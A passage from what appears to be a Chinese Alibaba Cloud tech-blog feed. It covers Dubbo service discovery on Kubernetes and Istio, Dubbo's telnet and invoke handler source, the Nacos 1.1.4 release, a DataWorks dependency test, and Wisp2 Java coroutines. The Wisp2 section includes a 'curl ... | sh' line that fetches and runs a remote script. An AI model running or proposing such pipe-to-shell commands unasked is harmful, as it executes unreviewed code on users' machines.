        以路由规则为例,需要支持一种新的路由规则:label 路由。通过一定条件匹配之后,将结果定位到以 label selector 查询到的 Pod 列表里,而非原来的 ip 列表。

        要支持 label 路由,client 端需要获取到 client 端自己的 Pod label 信息,还需要获取到 server pod 列表中每个 Pod 的 label 信息。

        应用获取当前 Pod 的信息方式

        • Pod 定义环境变量,应用获取;Dubbo 提供对环境变量读取的支持,Pod 中需要按照 Dubbo 定义的环境变量设置具体的 pod 信息。
        • 通过 Downward API 传递 Pod 信息;Dubbo 需要提供对 Downward 的目录读取,Pod 中需要定制 downward 的对应配置。
        • 通过 API Server 获取数据;最强大的方式,但是应用需要强依赖于 API Server 。

        应用获取其他 Pod 的信息方式

        • 通过调用其他 Pod 的服务获取;依赖于应用能获取自身的 Pod 信息,同时将自身的 Pod 信息暴露成服务( rest 或 dubbo 协议)。client 端通过调用对用的 Pod 获取到对应 Pod 的完整信息。
        • 通过 Api server 获取数据;很强大,但增加了对 Api server 的依赖。

        服务注册和发现

        K8s 体系下,RPC 服务发现有以下几种方式:

        • 注册机制:将 IP 写入注册中心,用心跳保持连接;当心跳停止,从注册中心删除;
        • 利用 Service+DNS :新建一个 Service ,可以通过标签选择到一组 Pod 列表,这个 Service 对应一个不变的集群 IP ;Client 端通过 DNS 方式或者直接访问集群 IP 。这个集群 IP ,约等于实现了负载均衡 ( iptable 方式);
        • 利用 headless service(DNS) :headless service 和上面的 service 的区别是,它不提供集群 IP ,通过主机名的形式获取一组 IP 列表,Client 端自己决定访问哪个 Pod ;
        • api server :Client 端直接请求 api server ,获取到 pod 的列表, Client 自己决定访问 pod 的逻辑。同时获取的时候增加 watch ,api server 会将 pod 的变化信息同步 Client 。

        通过拿到 Server 端的 IP 或者 host ,Client 端就可以发起  http 或者其他协议的请求。

        下面介绍符合 Dubbo 的可行方案:

        1. Dubbo + Zookeeper pod cluster (HSF+CS cluster)

        这是最简单的方式,Dubbo 本身不需要做任何改造。带来的问题是增加了 Zookeeper 的维护,同时这个方案很不云原生,和 K8s 的体系没有任何关系。

        脑暴

        上面方案是将 ZooKeeper 作为注册中心,那么是否可以将 K8s 里 service 作为注册中心呢?Dubbo 里每个接口去建立一个 service ,每个应用实例启动过程中去更新 Endpoint 信息,建立 Service-> Endpoint-> IP 列表的关系。

        这种方案中 K8s service 的定义被改造了,而且定义了过多的 service ,service 的维护管理是个难题。

        基于 K8s 的场景

        在传统的 RPC 领域,服务分成服务注册和服务发现。在 K8s 领域 pod 和应用是一对一的关系,K8s 本身就提供了 pod 查找的能力,所以一定程度上服务注册其实可以不存在,而只需要服务发现。但是这个其实需要一个前提:

        Dubbo 需要将服务注册发现的粒度改造成应用维度。> 在运维层面,将 app=xxx (应用名)写入到 pod 的 label 中。

        2. Dubbo + K8s DNS

        如果 K8s service 提供了cluster ip ,那么 Dubbo 只负责调用该集群 Ip ,路由和负载均衡的逻辑则交给了 K8s 的 proxy 来完成。此方案削减了 Dubbo 的核心能力。接下来讨论 headless service 提供的能力。

        通过请求 ..svc..  IN A  的方式发起请求获取 IP 列表,但是需要轮询方式不断获取更新的 IP 列表。

        服务治理相关的功能,需要在上述服务治理部分中独立支持。

        参考:https://github.com/kubernetes/dns/blob/master/docs/specification.md#24---records-for-a-headless-service

        3. Dubbo + Api Server

        a006

        Pod 的容器中部署的 Dubbo 应用,服务注册流程可以直接删除,服务发现功能通过和 Api Server 进行交互,获取 Pod 和 service 信息,同时 watch pod 和service 的变更。通过这种方式之后,服务治理相关的信息也可以通过 Api Server 直接获取。

        4. Dubbo + Istio + Envoy

        Dubbo 可以直接使用指定 ip+端口 的方式调用同一个 pod 下 Envoy  (也可能是同一个node的Envoy)。Dubbo 将路由规则,负载均衡,熔断等功能交给 Istio 和 Envoy。Envoy 需要支持 Dubbo 协议的转发。

        所以 Dubbo 需要完成两个事情:本地 IP 直连(现有功能), 多余功能裁剪(暂未实现)。

        5. Dubbo + Istio

        a007

        • Dubbo 应用不再依赖 Envoy 作为 sidecar ,而是直接和 Istio 进行交互,把 Istio 作为注册中心,作为服务治理的配置中心;
        • Dubbo 需要提供类似的 xDS 协议,在pilot将service的instance转换成dubbo的协议格式;
        • Dubbo 还需要去适配 istio 的一些功能,如健康检查,安全相关的逻辑。具体实现可以参考 Envoy 的实现。

        6. Dubbo 和 Istio 在 K8s 体系下共存这个可选择的方案较多,我提供两种思路,供大家思考:

        • 所有的服务注册通过k8s的机制完成,所有的服务发现通过 Headless service 完成。sidecar 在创建过程中,需要对原有的 K8s service 进行 update;
        • Nacos 作为 Dubbo 的注册中心,并且需要将 K8s 中的数据进行部分中转。Dubbo 应用,将服务注册以应用维度注册到 Nacos ,Istio Pilot 需要识别 Nacos 数据;Istio 的运行机制基本不变,需要将 K8s service instance 的数据写入到 nacos ,供 Dubbo 调用。

        7. 云上和云下环境共存 & 云上多集群环境

        Istio 提供了跨集群和云上云下的解决方案, kubeFed 作为 K8s 的跨集群解决方案也能起到一定作用。

        这个课题的复杂度更加高,心中有了一些答案,期望大家通过上文也有一定的思考。

        服务查询

        抛出三种方式,供大家思考。

        Dubbo 原有方式

        Dubbo 原有的服务查询是针对接口的查询,每个接口会有版本号和组别。接口名+版本号+组别确定唯一的服务集合,这个服务集下有对应的服务提供者和服务消费者(接口级依赖),服务提供者是一组 ip+port 列表,服务消费者也是一组 ip+port 列表。

        a008

        当做了改造成应用级别的服务注册或者直接使用 K8s 自带的 Pod 发现机制的话,需要做一些改造,这部分改造,和前面提到的一样,放到其他文章里单独说明。

        只支持应用查询

        和 Spring Cloud 类似,支持应用维度的查询。查询到具体应用之后,应用详情下包含了 ip+port 列表,每个 ip+port 其实就是一个应用的实例。点击开每个应用实例,可以查看每个应用的详细信息,详细信息包含了该实例提供了哪些服务。

        接口+应用查询均衡

        在原来只支持应用查询的基础上,增加一步:支持查询某个接口对应的应用列表,而大部分接口只属于一个应用。

        再点击应用列表下具体的应用之后,会跳到应用详情。

        总结

        上述讨论的是开源的方案,所以相对历史包袱比较少。对一些大公司想从原有的 RPC 方案切换到云原生的支持,需要考虑更多兼容性和性能,需要付出更大的代价。

        云原生的趋势已经势不可挡,在 RPC 领域究竟哪种方案最终能够胜出,现在还言之过早。我相信 Service Mesh 和传统的 RPC  (Dubbo/ gRPC)  都会有自己的一席之地,一切让时间给我们答案吧。

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        Dubbo telnet过程介绍 Fri, 02 May 2025 09:39:04 +0800 开篇

        从 2.0.5 版本开始,dubbo 开始支持通过 telnet 命令来进行服务治理。通过telnet ip port连接上server端进行调试,具体的命令可以参考Telnet 命令参考手册


        HeaderExchangeHandler

        Handler封装流程图

        • 在Dubbo协议export()过程中会对handler进行封装,HeaderExchangeHandler内部封装ExchangeHandlerAdapter对象。
        public abstract class ExchangeHandlerAdapter extends TelnetHandlerAdapter implements ExchangeHandler {
        
            @Override
            public CompletableFuture<Object> reply(ExchangeChannel channel, Object msg) throws RemotingException {
                return null;
            }
        }
        • ExchangeHandlerAdapter继承了TelnetHandlerAdapter,TelnetHandlerAdapter包含telnet()方法。


        public class HeaderExchangeHandler implements ChannelHandlerDelegate {
            public void received(Channel channel, Object message) throws RemotingException {
                channel.setAttribute(KEY_READ_TIMESTAMP, System.currentTimeMillis());
                final ExchangeChannel exchangeChannel = HeaderExchangeChannel.getOrAddChannel(channel);
                try {
                    if (message instanceof Request) {
                       // 省略相关代码
                    } else if (message instanceof Response) {
                      // 省略相关代码
                    } else if (message instanceof String) {
                        if (isClientSide(channel)) {
                            // 省略相关代码
                        } else {
                            String echo = handler.telnet(channel, (String) message);
                            if (echo != null && echo.length() > 0) {
                                channel.send(echo);
                            }
                        }
                    } else {
                        handler.received(exchangeChannel, message);
                    }
                } finally {
                    HeaderExchangeChannel.removeChannelIfDisconnected(channel);
                }
            }
        }
        • HeaderExchangeHandler的received()方法针对String类型的参数执行handler.telnet()方法。


        public class TelnetHandlerAdapter extends ChannelHandlerAdapter implements TelnetHandler {
        
            private final ExtensionLoader<TelnetHandler> extensionLoader = 
                           ExtensionLoader.getExtensionLoader(TelnetHandler.class);
        
            @Override
            public String telnet(Channel channel, String message) throws RemotingException {
                String prompt = channel.getUrl().getParameterAndDecoded(Constants.PROMPT_KEY, Constants.DEFAULT_PROMPT);
                boolean noprompt = message.contains("--no-prompt");
                message = message.replace("--no-prompt", "");
                StringBuilder buf = new StringBuilder();
                message = message.trim();
                String command;
                if (message.length() > 0) {
                    int i = message.indexOf(' ');
                    if (i > 0) {
                        command = message.substring(0, i).trim();
                        message = message.substring(i + 1).trim();
                    } else {
                        command = message;
                        message = "";
                    }
                } else {
                    command = "";
                }
        
                // 解析命令行
                if (command.length() > 0) {
                    if (extensionLoader.hasExtension(command)) {
                        if (commandEnabled(channel.getUrl(), command)) {
                            try {
                                String result = extensionLoader.getExtension(command).telnet(channel, message);
                                if (result == null) {
                                    return null;
                                }
                                buf.append(result);
                            } catch (Throwable t) {
                                buf.append(t.getMessage());
                            }
                        } else {
                            buf.append("Command: ");
                            buf.append(command);
                            buf.append(" disabled");
                        }
                    } else {
                        buf.append("Unsupported command: ");
                        buf.append(command);
                    }
                }
                if (buf.length() > 0) {
                    buf.append("rn");
                }
                if (StringUtils.isNotEmpty(prompt) && !noprompt) {
                    buf.append(prompt);
                }
                return buf.toString();
            }
        }
        com.alibaba.dubbo.remoting.telnet.TelnetHandler文件
        
        clear=com.alibaba.dubbo.remoting.telnet.support.command.ClearTelnetHandler
        exit=com.alibaba.dubbo.remoting.telnet.support.command.ExitTelnetHandler
        help=com.alibaba.dubbo.remoting.telnet.support.command.HelpTelnetHandler
        status=com.alibaba.dubbo.remoting.telnet.support.command.StatusTelnetHandler
        log=com.alibaba.dubbo.remoting.telnet.support.command.LogTelnetHandler
        ls=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.ListTelnetHandler
        ps=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.PortTelnetHandler
        cd=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.ChangeTelnetHandler
        pwd=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.CurrentTelnetHandler
        invoke=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.InvokeTelnetHandler
        trace=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.TraceTelnetHandler
        count=com.alibaba.dubbo.rpc.protocol.dubbo.telnet.CountTelnetHandler
        • TelnetHandlerAdapter的telnet()方法会解析除命令字符串command。
        • extensionLoader = ExtensionLoader.getExtensionLoader(TelnetHandler.class)获取TelnetHandler的ExtensionLoader。
        • extensionLoader.getExtension(command)获取TelnetHandler的扩展类实例,在com.alibaba.dubbo.remoting.telnet.TelnetHandler文件中定义。


        InvokeTelnetHandler

        @Activate
        @Help(parameter = "[service.]method(args) ", summary = "Invoke the service method.",
                detail = "Invoke the service method.")
        public class InvokeTelnetHandler implements TelnetHandler {
        
            public static final String INVOKE_MESSAGE_KEY = "telnet.invoke.method.message";
            public static final String INVOKE_METHOD_LIST_KEY = "telnet.invoke.method.list";
            public static final String INVOKE_METHOD_PROVIDER_KEY = "telnet.invoke.method.provider";
        
            @Override
            @SuppressWarnings("unchecked")
            public String telnet(Channel channel, String message) {
        
                String service = (String) channel.getAttribute(ChangeTelnetHandler.SERVICE_KEY);
                // 解析消息的命令,包括服务、方法、参数等。
                int i = message.indexOf("(");
                String method = message.substring(0, i).trim();
                String args = message.substring(i + 1, message.length() - 1).trim();
                i = method.lastIndexOf(".");
                if (i >= 0) {
                    service = method.substring(0, i).trim();
                    method = method.substring(i + 1).trim();
                }
        
                List<Object> list;
                try {
                    list = JSON.parseArray("[" + args + "]", Object.class);
                } catch (Throwable t) {
                    return "Invalid json argument, cause: " + t.getMessage();
                }
                StringBuilder buf = new StringBuilder();
                Method invokeMethod = null;
                ProviderModel selectedProvider = null;
                if (isInvokedSelectCommand(channel)) {
                    selectedProvider = (ProviderModel) channel.getAttribute(INVOKE_METHOD_PROVIDER_KEY);
                    invokeMethod = (Method) channel.getAttribute(SelectTelnetHandler.SELECT_METHOD_KEY);
                } else {
                    // 遍历服务service和method
                    for (ProviderModel provider : ApplicationModel.allProviderModels()) {
                        if (isServiceMatch(service, provider)) {
                            selectedProvider = provider;
                            List<Method> methodList = findSameSignatureMethod(provider.getAllMethods(), method, list);
                            if (CollectionUtils.isNotEmpty(methodList)) {
                                if (methodList.size() == 1) {
                                    invokeMethod = methodList.get(0);
                                } else {
                                    List<Method> matchMethods = findMatchMethods(methodList, list);
                                    if (CollectionUtils.isNotEmpty(matchMethods)) {
                                        if (matchMethods.size() == 1) {
                                            invokeMethod = matchMethods.get(0);
                                        } else { //exist overridden method
                                            channel.setAttribute(INVOKE_METHOD_PROVIDER_KEY, provider);
                                            channel.setAttribute(INVOKE_METHOD_LIST_KEY, matchMethods);
                                            channel.setAttribute(INVOKE_MESSAGE_KEY, message);
                                            printSelectMessage(buf, matchMethods);
                                            return buf.toString();
                                        }
                                    }
                                }
                            }
                            break;
                        }
                    }
                }
        
        
                if (!StringUtils.isEmpty(service)) {
                    buf.append("Use default service ").append(service).append(".");
                }
                if (selectedProvider != null) {
                    if (invokeMethod != null) {
                        try {
                            Object[] array = realize(list.toArray(), invokeMethod.getParameterTypes(),
                                    invokeMethod.getGenericParameterTypes());
                            long start = System.currentTimeMillis();
                            AppResponse result = new AppResponse();
                            try {
                                // 找对应方法执行invoke()命令
                                Object o = invokeMethod.invoke(selectedProvider.getServiceInstance(), array);
                                result.setValue(o);
                            } catch (Throwable t) {
                                result.setException(t);
                            }
                            long end = System.currentTimeMillis();
                            buf.append("rnresult: ");
                            buf.append(JSON.toJSONString(result.recreate()));
                            buf.append("rnelapsed: ");
                            buf.append(end - start);
                            buf.append(" ms.");
                        } catch (Throwable t) {
                            return "Failed to invoke method " + invokeMethod.getName() + ", cause: " + StringUtils.toString(t);
                        }
                    } else {
                        buf.append("rnNo such method ").append(method).append(" in service ").append(service);
                    }
                } else {
                    buf.append("rnNo such service ").append(service);
                }
                return buf.toString();
            }
        }
        • 根据service 和 method 获取对应的provider对象。
        • 通过method.invoke()通过反射调用实现方法调用。


        参考

        Dubbo之telnet实现

        ]]>
        Nacos 1.1.4 发布,业界率先支持 Istio MCP 协议 Fri, 02 May 2025 09:39:04 +0800 Nacos是阿里巴巴开源的服务发现与配置管理项目,本次发布的1.1.4版本,主要带来的是与Istio的对接功能,使用的是Istio最新的MCP协议。本文将介绍包括这个功能在内的新版本发布的功能。

        升级指南

        服务端

        0.8.0及以上版本:

        • 解压安装包后替换{nacos.home}/target/nacos-server.jar
        • 逐台重启Nacos Server即可

        0.8.0以下版本,先升级到1.0.0版本。

        客户端

        替换pom依赖即可。

        支持Istio MCP协议

        这是本次版本最大的更新,主要是实现了Nacos服务数据往Istio下发的功能,也是目前业界所有注册中心里面第一个由官方提供的MCP协议对接版本。Pilot最新的设计中,是使用MCP协议来与所有后端的数据源进行交互的。这样做的好处是可以解耦所有扩展组件的代码,Pilot保持轻量的逻辑,在代码质量、组件稳定性及扩展性方面都大幅提升。我们可以看一下Pilot官方提供的Pilot设计图,地址详情参考这里

        1
        图1 Pilot的最新设计概念图

        虽然在设计图中,Pilot后端的MCP Server已经有了Consul、Eureka等,但是这些项目目前都没有官方支持的MCP Server。Nacos是目前首个官方支持Istio MCP协议的项目。

        关于MCP协议的设计,可以参考Istio的文档。Nacos实现的MCP Server,目前使用的是单个服务编号,全量服务推送的模式,因为目前Pilot还不支持增量的服务数据推送(Nacos 1.1.4发布之后,Pilot已经支持了endpoint级别的增量推送,Nacos也会在下个版本支持)。实现的逻辑就是启动一个gRPC Server来进行MCP数据的传输,代码可以参这里
        2
        图2 Nacos MCP Server架构

        使用Nacos MCP Server的方式如下:
        1、下载最新的Nacos 1.1.4安装包,解压;
        2、配置application.properties,然后重启Nacos;

        nacos.istio.mcp.server.enabled=true
        

        注意:如果Nacos是集群部署,则只需要配置一台Server启动MCP Server即可,因为每台Nacos Server的数 据都是全量的。同时Nacos MCP Server使用的端口是18848,请注意端口是否冲突;

        3、配置Pilot使用Nacos MCP Server:

        configSources
        -- address: x.x.x.x:18848
        

        4、重启Pilot;

        自定义实例ID

        在之前的版本中,Instance类的instanceId字段,是用来作为唯一标识这个instance的属性,它的值默认是不能由客户端来指定的。在1.1.4版本中,我们支持了允许客户端自定义ID以及一个新增加的instanceId生成算法:一个服务内唯一的整数,这个整数可以用来作为实例在服务内的唯一索引。这个功能由vettal-wu贡献,非常感谢。

        这个整形instanceId的使用方式为在注册时配置instance的metadata,指定使用该id生成算法,样例代码如下:

        Instance instance = new Instance();
        instance.setIp("1.1.1.1");
        instance.setPort(80);
        // 必须设置ephemeral=false,来保证服务端使用的是严格的一致性协议,否则可能会导致生成的instance id冲突:
        instance.setEhpemeral(false);
        instance.setMetadata(new HashMap<String, String>());
        instance.getMetadata().put(PreservedMetadataKeys.INSTANCE_ID_GENERATOR, Constants.SNOWFLAKE_INSTANCE_ID_GENERATOR);

        Nacos在这个版本也有一些关于代码质量上的优化更新,具体可以参考1.1.4版本issue列表

        如何共建

        为了实现这一目标,你需要积极参与Nacos社区。如果您在文档中发现拼写错误,在代码中发现错误,或想要新功能或想要提供建议,您可以在GitHub上创建一个issues

        如果您想开始着手,可以选择github仓库中有以下标签的issues。
        good first issue:对于新手来说是非常好的入门issues。
        contribution welcome:非常需要解决的问题和非常重要的模块,但目前缺少贡献者,欢迎贡献者来贡献。

        蓬勃发展的 Nacos 社区

        DISS is cheap, show me your hand
        比吐槽更重要的是搭把手,参与社区一起发展 Nacos

        作为用户关注和加入 Nacos 社区

        Nacos 社区正在蓬勃发展,截止到发文为止,Nacos 短短几个月已经有 9 个微信群,其中 7 个已满员,1个QQ群,1个钉钉群,关注 Nacos 的社区人数已经近5000人,在 Nacos 群里跟 “道(基)友” 切磋技术,交流经验,招聘交友,抢抢红包...不亦乐乎。
        3

        • 作为代码贡献者加入 Nacos 社区

        从Nacos用户发展而成贡献者顺理成章,而Nacos开发团队也确实在日趋壮大,从开始的只有4个代码contributor发展到目前的40多个,1.1.4版本中,参与Nacos仓库贡献的开发者有:stackisok,loadchange, ly641921791, EZLippi, rushsky518, universefeeler, nkorange, vettal-wu, beldon等。
        4

        新人时刻 - "什么是Nacos?"

        还不知道什么是Nacos? 没关系,在github上star一下跟程序猿兄弟打个招呼吧!!
        Nacos 是阿里巴巴于2018年7月份新开源的项目,Nacos的主要愿景是期望通过提供易用的 动态服务发现、服务配置管理、服务共享与管理 的基础设施,帮助用户在云原生时代更好的构建、交付、管理自己的微服务平台。
        5

        github项目地址在这里

        更多与 Nacos 相关的开源项目信息

        下期预告:Nacos的下个版本是1.2.0版本,将会支持社区广泛关注的权限控制功能,敬请期待。

        ]]>
        业务流程多节点依赖调度配置实践 Fri, 02 May 2025 09:39:04 +0800 一、实验目的:
        在DataWorks业务流程开发过程。一个业务流程通常是由很多个数据同步、数据开发节点组成的。这很多个业务节点的上下游节点的连接通过执行顺序先后进行连接,系统自动就行上下游解析。这里主要用于测试在一个业务流程过程中根据业务需求进行节点连接之后自动解析上下游是否会发生错误。
        二、实验步骤:
        1、创建一个业务流程
        2、创建一个start节点
        3、创建五个数据同步节点
        4、创建五个数据开发节点
        5、根据业务需求进行节点上下文连线,如下图所示:
        image

        6、配置start节点的上游为工作空间根节点,点击提交
        7、检查每个节点的上下游节点通过连接之后自动解析的结果和业务需求是否一致。
        业务需求:
        (1)start节点:
        工作空间根节点--->start节点--->LogHub(数据同步)、MaxCompute(数据同步)、Hadoop(数据同步)、DataHub(数据同步)、Kafka(数据同步)、Dandu(数据开发)
        image

        (2)Hadoop(数据同步)
        start--->Hadoop(数据同步)--->hadoopp(数据开发)
        image

        (3)LogHub(数据同步)
        start--->LogHub(数据同步)--->hadoopp(数据开发)
        image

        (4)MaxCompute(数据同步)
        start--->MaxCompute(数据同步)--->hadoopp(数据开发)
        image

        (5)DataHub(数据同步)
        start--->DataHub(数据同步)--->loghubb(数据开发)
        image

        (6)Kafka(数据同步)
        start--->Kafka(数据同步)--->loghubb(数据开发)
        image

        (7)Dandu(数据开发)
        start--->Dandu(数据开发)--->dandu_jiedian(数据开发)
        image

        (8)hadoopp(数据开发)
        Hadoop(数据同步)、LogHub(数据同步)、MaxCompute(数据同步)--->hadoopp(数据开发)--->huiju_jiedian(数据开发)
        image

        (9)loghubb(数据开发)
        DataHub(数据同步)、Kafka(数据同步)--->loghubb(数据开发)--->huiju_jiedian(数据开发)
        image

        (10)dandu_jiedian(数据开发)
        Dandu(数据开发)--->dandu_jiedian(数据开发)
        image

        (11)huiju_jiedian(数据开发)
        loghubb(数据开发)、hadoopp(数据开发)--->huiju_jiedian(数据开发)
        image

        三、实验结果:
        检测自动解析节点上下文依赖和业务需求的依赖关系是一致的。
        四、实验总结:
        在调度系统中,每一个工作空间中默认会创建一个projectname_root节点作为根节点。如果本节点没有上游节点,可以直接依赖根节点。
        依赖属性中配置节点的上游依赖,表示即使当前节点的实例已经到定时时间,也必须等待上游节点的实例运行完毕,才会触发运行。
        点击链接加入 MaxCompute开发者社区2群 https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        或扫码加入
        67cc36b608a5035daec4f4e0f99833039231bab0

        ]]>
        Go语言出现后,Java还是最佳选择吗? Fri, 02 May 2025 09:39:04 +0800 image
        阿里妹导读:随着大量新生的异步框架和支持协程的语言(如Go)的出现,在很多场景下操作系统的线程调度成为了性能的瓶颈,Java也因此被质疑是否不再适应最新的云场景了。4年前,阿里JVM团队开始自研Wisp2,将Go语言的协程能力带入到Java世界。既享受Java的丰富生态,又获得异步程序的性能,Wisp2让Java平台历久弥新。

        Java平台一直以生态的繁荣著称,大量的类库、框架帮助开发者们快速搭建应用。而其中大部分Java框架类库都是基于线程池以及阻塞机制来服务并发的,主要原因包括:

        1. Java语言在核心类库中提供了强大的并发能力,多线程应用可以获得不俗的性能;
        2. Java EE的一些标准都是线程级阻塞的(比如JDBC);
        3. 基于阻塞模式可以快速地开发应用。

        但如今,大量新生的异步框架和支持协程的语言(如Go)的出现,在很多场景下操作系统的线程调度成为了性能的瓶颈。Java也因此被质疑是否不再适应最新的云场景了。

        4年前,阿里开始自研Wisp2。它主要是用在IO密集的服务器场景,大部分公司的在线服务都是这样的场景 (离线应用都是偏向于计算,则不适用)。它在功能属性上对标Goroutine的Java协程,在产品形态、性能、稳定性上都达到了一个比较理想的情况。到现在,已经有上百个应用,数万个容器上线了Wisp1/2。Wisp协程完全兼容多线程阻塞的代码写法,仅需增加JVM参数来开启协程,阿里巴巴的核心电商应用已经在协程模型上经过两个双十一的考验,既享受到了Java的丰富生态,又获得了异步程序的性能。

        Wisp2主打的是性能和对现有代码的兼容性,简而言之,现有的基于多线程的IO密集的Java应用只需要加上Wisp2的JVM参数就可以获得异步的性能提升。

        作为例子,以下是消息中间件代理(简称mq)和drds只添加参数不改代码的压测比较:

        image

        可以看到上下文切换以及sys CPU显著降低,RT减少、QPS分别提升11.45%,18.13%。

        Quick Start

        由于Wisp2完全兼容现有的Java代码,因此使用起来十分简单,有多简单?

        如果你的应用是“标准”的在线应用(使用/home/admin/$APP_NAME/setenv.sh配置参数),那么在admin用户下输入如下命令就可以开启Wisp2了:

        curl https://gosling.alibaba-inc.com/sh/enable-wisp2.sh | sh

        否则需要手动升级JDK和Java参数:

        ajdk 8.7.12_fp2 rpm

        sudo yum install ajdk -b current # 也可以通过yum安装最新jdk
        java -XX:+UseWisp2 .... # 使用Wisp参数启动Java应用

        然后就可以通过jstack验证协程确实被开启了。

        Carrier线程是调度协程的线程,下方的- Coroutine [...]表示一个协程,active表示协程被调度的次数,steal表示被work stealing的次数,preempt表示时间片抢占次数。

        image

        下图是DRDS在ecs上压测时的top -H,可以看出来应用的数百个线程被8个Carrier线程托管,均匀地跑在CPU核数个线程上面。下方一些名为java的线程是gc线程。

        image

        过多线程的开销

        误区1: 进内核引发上下文切换

        我们看一段测试程序:

        pipe(a);
        while (1) {
          write(a[1], a, 1);
          read(a[0], a, 1);
          n += 2;
        }

        image

        执行这段程序时上下文切换非常低,实际上上面的IO系统调用都是不会阻塞的,因此内核不需要挂起线程,也不需要切换上下文,实际发生的是用户/内核态的模式切换。

        上面的程序在神龙服务器测得每个pipe操作耗时约334ns,速度很快。

        误区2: 上下文切换的开销很大

        本质上来说无论是用户态还是内核态的上下文切换都是很轻量的,甚至有一些硬件指令来支持,比如pusha可以帮助我们保存通用寄存器。同一个进程的线程共享页表,因此上下文切换的开销一般只有:

        • 保存各种寄存器
        • 切换sp(call指令会自动将pc压栈)

        可以在数十条指令内完成。

        开销

        既然近内核以及上下文切换都不慢,那么多线程的开销究竟在哪?

        我们不妨看一个阻塞的系统调用futex的热点分布:

        image

        可以看到上面的热点中有大量涉及调度的开销。我们来看过程:

        1. 调用系统调用(可能需要阻塞);
        2. 系统调用确实需要阻塞,kernel需要决定下一个被执行的线程(调度);
        3. 执行上下切换。

        因此,上面2个误区与多线程的开销都有一定因果关系,但是真正的开销来源于线程阻塞唤醒调度。

        综上,希望通过线程模型来提升web server性能的原则是:

        1. 活跃线程数约等于CPU个数
        2. 每个线程不太需要阻塞

        文章后续将紧紧围绕这两个主题。

        为了满足上述两个条件,使用eventloop+异步callback的方式是一个极佳的选择。

        异步与协程的关系

        为了保持简洁,我们以一个异步服务器上的Netty写操作为例子(写操作也存在阻塞的可能):

        private void writeQuery(Channel ch) {
          ch.write(Unpooled.wrappedBuffer("query".getBytes())).sync();
          logger.info("write finish");
        }

        这里的sync()会阻塞线程。不满足期望。由于netty本身是一个异步框架,我们引入回调:

        private void writeQuery(Channel ch) {
          ch.write(Unpooled.wrappedBuffer("query".getBytes()))
            .addListener(f -> {
              logger.info("write finish");
            });
        }

        注意这里异步的write调用后,writeQuery会返回。因此假如逻辑上要求在write后执行的代码,必须出现在回调里,write是函数的最后一行。这里是最简单的情形,如果函数有其他调用者,那么就需要用CPS变换。

        需要不断的提取程序的"下半部分",即continuation,似乎对我们造成一些心智负担了。这里我们引入kotlin协程帮助我们简化程序:

        suspend fun Channel.aWrite(msg: Any): Int =
            suspendCoroutine { cont ->
                write(msg).addListener { cont.resume(0) }
            }
        
        suspend fun writeQuery(ch: Channel) {
            ch.aWrite(Unpooled.wrappedBuffer("query".toByteArray()))
            logger.info("write finish")
        }

        这里引入了一个魔法suspendCoroutine,我们可以获得当前Continuation的引用,并执行一段代码,最后挂起当前协程。Continuation代表了当前计算的延续,通过Continuation.resume()我们可以恢复执行上下文。因此只需在写操作完成时回调cont.resume(0),我们又回到了suspendCoroutine处的执行状态(包括caller writeQuery),程序继续执行,代码返回,执行log。从writeQuery看我们用同步的写法完成了异步操作。当协程被suspendCoroutine切换走后,线程可以继续调度其他可以执行的协程来执行,因此不会真正阻塞,我们因此获得了性能提升。

        从这里看,只需要我们有一个机制来保存/恢复执行上下文,并且在阻塞库函数里采用非阻塞+回调的方式让出/恢复协程,就可以使得以同步形式编写的程序达到和异步同样的效果了。

        理论上只要有一个库包装了所有JDK阻塞方法,我们就可以畅快地编写异步程序了。改写的阻塞库函数本身需要足够地通用流行,才能被大部分程序使用起来。据我所知,vert.x的kotlin支持已经做了这样的封装。

        虽然vert.x很流行,但是无法兼顾遗留代码以及代码中的锁阻塞等逻辑。因此不能算是最通用的选择。实际上Java程序有一个绕不过的库——JDK。Wisp就是在JDK里所有的阻塞调用出进行了非阻塞+事件恢复协程的方式支持了协程调度,在为用户带来最大便利的同时,兼顾了现有代码的兼容性。

        上述方式支持了,每个线程不太需要阻塞,Wisp在Thread.start()处,将线程转成成了协程,来达到了另一目的: 活跃线程数约等于CPU个数。因此只需要使用Wisp协程,所有现有的Java多线程代码都可以获得异步的性能。

        手工异步/Wisp性能比较

        对于基于传统的编程模型的应用,考虑到逻辑清晰性、异常处理的便利性、现有库的兼容性,改造成异步成本巨大。使用Wisp相较于异步编程优势明显。

        下面我们在只考虑性能的新应用的前提下分析技术的选择。

        基于现有组件写新应用

        如果要新写一个应用我们通常会依赖JDBC、Dubbo、Jedis这样的常用协议/组件,假如库的内部使用了阻塞形式,并且没有暴露回调接口,那么我们就没法基于这些库来写异步应用了(除非包装线程池,但是本末倒置了)。下面假设我们依赖的所有库都有回调支持,比如dubbo。

        1)假设我们使用Netty接受请求,我们称之为入口eventLoop,收到请求可以在Netty的handler里处理,也可以为了io的实时性使用业务线程池。

        2)假设请求处理期间需要调用dubbo,因为dubbo不是我们写的,因此内部有自己的Netty Eventloop,于是我们向dubbo内部的Netty eventLoop处理IO,等待后端响应后回调。

        3)dubbo eventLoop收到响应后在eventloop或者callback线程池调用callback。

        4)后续逻辑可以在callback线程池或者原业务线程池继续处理。

        5)为了完成对客户端的响应最终总是要由入口的eventloop来写回响应。

        我们可以看到由于这种封装导致的eventLoop的割裂,即便完全使用回调的形式,我们处理请求时多多少少要在多个eventLoop/线程池之间传递,而每个线程又都没法跑到一个较满的程度,导致频繁地进入os调度。与上述的每个线程不太需要阻塞原则相违背。因此虽然减少了线程数,节约了内存,但是我们得到的性能收益变得很有限。

        完全从零开始开发

        对于一个功能有限的新应用(比如nginx只支持http和mail协议)来说我们可以不依赖现有的组件来重新写应用。比如我们可以基于Netty写一个数据库代理服务器,与客户端的连接以及与真正后端数据库的连接共享同一个eventloop。

        这样精确控制线程模型的应用通常可以获得很好的性能,通常性能是可以高于通过非异步程序转协程的,原因如下:

